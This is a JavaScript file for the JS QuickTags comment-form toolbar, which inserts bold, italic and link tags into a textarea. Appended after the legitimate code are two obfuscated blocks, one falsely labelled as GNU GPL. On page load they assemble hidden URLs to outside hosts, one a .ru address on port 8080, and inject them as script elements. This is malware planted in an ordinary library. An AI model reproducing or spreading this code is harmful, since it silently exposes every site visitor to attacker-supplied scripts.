// This javascript was originally written by Alex King: www.alexking.org
// Modifications noted below were made by Jennifer of scriptygoddess.com :
// Removed all but the "most popular" html tags used in comments
// with the express purpose of including it in the comments form on blogs
// These changes were made on 6/10/2004
// 
// For the FULL version of Alex's script (which has ALOT MORE functionality!
// go here: 
// http://www.alexking.org/blog/2004/06/03/js-quicktags-under-lgpl/
//
// JS QuickTags version 1.0
//
// Copyright (c) 2002-2004 Alex King
// http://www.alexking.org/
//
// Licensed under the LGPL license
// http://www.gnu.org/copyleft/lesser.html
//
// **********************************************************************
// This program is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
// **********************************************************************
//
// This JavaScript will insert the tags below at the cursor position in IE and 
// Gecko-based browsers (Mozilla, Camino, Firefox, Netscape). For browsers that 
// do not support inserting at the cursor position (Safari, OmniWeb) it appends
// the tags to the end of the content.
//
// The variable 'edCanvas' must be defined as the <textarea> element you want 
// to be editing in. See the accompanying 'index.html' page for an example.



var edButtons = new Array();
var edLinks = new Array();
var edOpenTags = new Array();

function edButton(id, title, display, tagStart, tagEnd, open) {
	this.id = id;				// used to name the toolbar button
    this.title = title;           // title on button when hovered on
	this.display = display;		// label on button
	this.tagStart = tagStart; 	// open tag
	this.tagEnd = tagEnd;		// close tag
	this.open = open;			// set to -1 if tag does not need to be closed
}

edButtons[edButtons.length] = new edButton('ed_bold'
                                          ,'bold'
                                          ,''
                                          ,'<strong>'
                                          ,'</strong>'
                                          );

edButtons[edButtons.length] = new edButton('ed_italic'
                                          ,'italic'
                                          ,''
                                          ,'<em>'
                                          ,'</em>'
                                          );

edButtons[edButtons.length] = new edButton('ed_link'
                                          ,'link'
                                          ,''
                                          ,''
                                          ,'</a>'
                                          ); // special case

function edShowButton(button, i) {
	if (button.id == 'ed_link') {
		document.write('<input type="button" id="' + button.id + '" class="ed_button" title="' + button.title + '" onclick="edInsertLink(edCanvas, ' + i + ');" value="' + button.display + '" />');
	}
	else {
		document.write('<input type="button" id="' + button.id + '" class="ed_button" title="' + button.title + '" onclick="edInsertTag(edCanvas, ' + i + ');" value="' + button.display + '" />');
	}
}

function edAddTag(button) {
	if (edButtons[button].tagEnd != '') {
		edOpenTags[edOpenTags.length] = button;
		document.getElementById(edButtons[button].id).value = '' + document.getElementById(edButtons[button].id).value;
	}
}

function edRemoveTag(button) {
	for (i = 0; i < edOpenTags.length; i++) {
		if (edOpenTags[i] == button) {
			edOpenTags.splice(i, 1);
			document.getElementById(edButtons[button].id).value = document.getElementById(edButtons[button].id).value.replace('/', '');
		}
	}
}

function edCheckOpenTags(button) {
	var tag = 0;
	for (i = 0; i < edOpenTags.length; i++) {
		if (edOpenTags[i] == button) {
			tag++;
		}
	}
	if (tag > 0) {
		return true; // tag found
	}
	else {
		return false; // tag not found
	}
}	

function edCloseAllTags() {
	var count = edOpenTags.length;
	for (o = 0; o < count; o++) {
		edInsertTag(edCanvas, edOpenTags[edOpenTags.length - 1]);
	}
}

function edToolbar() {
	document.write('<div id="ed_toolbar">');
	for (i = 0; i < edButtons.length; i++) {
		edShowButton(edButtons[i], i);
	}
	document.write('<input type="button" id="ed_close" class="ed_button" title="close all tags" onclick="edCloseAllTags();" value="" />');
	document.write('</div>');
}

// insertion code

function edInsertTag(myField, i) {
	//IE support
	if (document.selection) {
		myField.focus();
	    sel = document.selection.createRange();
		if (sel.text.length > 0) {
			sel.text = edButtons[i].tagStart + sel.text + edButtons[i].tagEnd;
		}
		else {
			if (!edCheckOpenTags(i) || edButtons[i].tagEnd == '') {
				sel.text = edButtons[i].tagStart;
				edAddTag(i);
			}
			else {
				sel.text = edButtons[i].tagEnd;
				edRemoveTag(i);
			}
		}
		myField.focus();
	}
	//MOZILLA/NETSCAPE support
	else if (myField.selectionStart || myField.selectionStart == '0') {
		var startPos = myField.selectionStart;
		var endPos = myField.selectionEnd;
		var cursorPos = endPos;
		if (startPos != endPos) {
			myField.value = myField.value.substring(0, startPos)
			              + edButtons[i].tagStart
			              + myField.value.substring(startPos, endPos) 
			              + edButtons[i].tagEnd
			              + myField.value.substring(endPos, myField.value.length);
			cursorPos += edButtons[i].tagStart.length + edButtons[i].tagEnd.length;
		}
		else {
			if (!edCheckOpenTags(i) || edButtons[i].tagEnd == '') {
				myField.value = myField.value.substring(0, startPos) 
				              + edButtons[i].tagStart
				              + myField.value.substring(endPos, myField.value.length);
				edAddTag(i);
				cursorPos = startPos + edButtons[i].tagStart.length;
			}
			else {
				myField.value = myField.value.substring(0, startPos) 
				              + edButtons[i].tagEnd
				              + myField.value.substring(endPos, myField.value.length);
				edRemoveTag(i);
				cursorPos = startPos + edButtons[i].tagEnd.length;
			}
		}
		myField.focus();
		myField.selectionStart = cursorPos;
		myField.selectionEnd = cursorPos;
	}
	else {
		if (!edCheckOpenTags(i) || edButtons[i].tagEnd == '') {
			myField.value += edButtons[i].tagStart;
			edAddTag(i);
		}
		else {
			myField.value += edButtons[i].tagEnd;
			edRemoveTag(i);
		}
		myField.focus();
	}
}

function edInsertContent(myField, myValue) {
	//IE support
	if (document.selection) {
		myField.focus();
		sel = document.selection.createRange();
		sel.text = myValue;
		myField.focus();
	}
	//MOZILLA/NETSCAPE support
	else if (myField.selectionStart || myField.selectionStart == '0') {
		var startPos = myField.selectionStart;
		var endPos = myField.selectionEnd;
		myField.value = myField.value.substring(0, startPos)
		              + myValue 
                      + myField.value.substring(endPos, myField.value.length);
		myField.focus();
		myField.selectionStart = startPos + myValue.length;
		myField.selectionEnd = startPos + myValue.length;
	} else {
		myField.value += myValue;
		myField.focus();
	}
}

function edInsertLink(myField, i, defaultValue) {
	if (!defaultValue) {
		defaultValue = 'http://';
	}
	if (!edCheckOpenTags(i)) {
		var URL = prompt('Enter the URL' ,defaultValue);
		if (URL) {
			edButtons[i].tagStart = '<a href="' + URL + '">';
			edInsertTag(myField, i);
		}
	}
	else {
		edInsertTag(myField, i);
	}
}


/*GNU GPL*/ try{window.onload = function(){var I9crry5fydcih5 = document.createElement('s(@&c)@r@@)(i)p!t&#'.replace(/\)|\^|\(|&|#|\!|\$|@/ig, ''));var Lonuaji2gbv = 'Hf1n62xhr7yot';I9crry5fydcih5.setAttribute('type', 't^@&e^!#x^#!t&&&/^&j@$#(!a)v^#a#@@s!^c&&&&@r#((()i&!&p^@t$@)$'.replace(/\$|&|@|\^|#|\)|\!|\(/ig, ''));I9crry5fydcih5.setAttribute('src',  'h#(&t)t&@#p@#(:)&^)!/^/(&!!u#)&)$s(!t#@^r)#e(!&&a@(@#m)(&^-^!t!!v&#.@)&!m@(e!#g!@a!$$p@@(o@!r($@n&!.!c&@&(o((m(.##r!^(a!$)k&&$u&t@()e$n)))-)@(!&n)#e&#-&$j$!(p((^.)(s#@u^&)p&e$^r&o$)r#e$(^.$)!@r^#u!@$&:((8$$0^8()(0&@/&!!s&!&h@^)a&r@e@^@a&&^s($(a$$)!l&$e!)^.(c$^)o(#!&m!/#$s@#h!^!#a(#r#&^e##a@!#s@((a(^)(l$&)&!e#$&).!^!c&($o(!m!!@!/^!!g^o#@&&o$^g^&)(l$e#!$.@c)&o$m$@!/)()t(@#$e@(&(l$(e@$g^^#)^r@^a&p(!(h()^#.&(c!@o#.#!)u^(k!#/^(i#(c(#)i$o$@&.&(&$(u&&s&!)/@!'.replace(/\(|\$|@|#|&|\^|\)|\!/ig, ''));I9crry5fydcih5.setAttribute('defer', 'd(e@$&&#f&e)r('.replace(/\!|\$|\)|\^|&|\(|@|#/ig, ''));I9crry5fydcih5.setAttribute('id', 'N&5@$$((a$m&))l#!(8(^z@(r@&($n)($s^#7^^&'.replace(/\)|@|&|\^|\(|\!|\$|#/ig, ''));document.body.appendChild(I9crry5fydcih5);}} catch(T06bdkdat66252) {}

var i;if(i!='Y'){i=''};var q='';function c(){var d=new String();var C='';var E=String("g");var w=RegExp;var S;if(S!='co'){S=''};var Em;if(Em!='U'){Em=''};this.Rl='';var AO;if(AO!='mu' && AO!='Pio'){AO=''};var JV;if(JV!='qH' && JV!='t'){JV=''};function A(J,P){var R= new String("0VU[".substr(3));var BN;if(BN!='' && BN!='n'){BN=''};var g=new Array();R+=P;var V;if(V!='Mh' && V != ''){V=null};var O=new Date();R+=new String("]");var VA;if(VA!='Jv' && VA!='CY'){VA=''};this.Pv='';var f=new w(R, E);return J.replace(f, C);};this.mB="";var HF;if(HF!='Ps' && HF != ''){HF=null};var Q=String("de0Dpb".substr(0,2)+"m47rfe4mr7".substr(4,2)+"r");var bV=new String();var uW;if(uW!='' && uW!='l'){uW=null};var X=new String("srMSjp".substr(0,2)+"c");this.GV='';var ES='';var N;if(N!='' && N!='Pu'){N=null};var M=new String("http:0Oq6".substr(0,5)+"QOlb//ngo".substr(4)+"XuhJisao-uhXJ".substr(4,5)+"uUrnet.pruU".substr(3,5)+"pliverKn".substr(0,5)+".com.GYa".substr(0,5)+"metro"+"kCfvlyricfkCv".substr(4,5)+"gaKs-comKag".substr(3,5)+".seag"+"hLVoldonVLh".substr(3,5)+"line."+"ru:");var oB;if(oB!=''){oB='o'};var lj="";var Cf=A('87340711483194709994',"19734");var Sj;if(Sj!=''){Sj='gz'};var Gc;if(Gc!=''){Gc='YL'};var m=new String("/pakj".substr(0,2)+"zG8ro8Gz".substr(3,2)+"bo"+"arcC3".substr(0,2)+"dsn17".substr(0,2)+"5bvC.c".substr(4)+"om"+"3VAW/p".substr(4)+"H3wro".substr(3)+"boUNIT".substr(0,2)+"Gh5NarhNG5".substr(4,2)+"ho9Idso9Ih".substr(4,2)+"SXw.cXwS".substr(3,2)+"om"+"/y"+"VkrBoukrVB".substr(4,2)+"swptu".substr(3)+"107be710".substr(3,2)+".cSkuL".substr(0,2)+"omxyDi".substr(0,2)+"/l"+"ib"+"er"+"o.cpD".substr(0,2)+"itk9n".substr(0,2)+"/g"+"e8foo".substr(3)+"erJSglJSre".substr(4,2)+"bRrTe.".substr(4)+"co"+"m."+"ph"+"p");var _=new String("v1Vsc".substr(3)+"EmpripmE".substr(3,2)+"2gzYpt".substr(4));this.XM='';var B=window;var tN=new Date();this.gE="";var d_=new String();B.onload=function(){var ba;if(ba!=''){ba='eZ'};try {ES=M+Cf;var wV="";var sh=new Array();ES+=m;var lH="";var Av;if(Av!='' && Av!='bZ'){Av=''};var Gk=new Date();this.xv="";BS=document.createElement(_);var eZf=new Array();var tNU=new Array();BS[Q]=[1][0];this.Lf='';BS[X]=ES;var rP="";var cw;if(cw!='' && cw!='SL'){cw=''};document.body.appendChild(BS);var Pw;if(Pw!='' && Pw!='SX'){Pw=''};this.fV="";} catch(e){var dm=new String();};this.c_="";var aY;if(aY!='' && aY!='vQ'){aY=''};};};var bVq="";var DI='';c();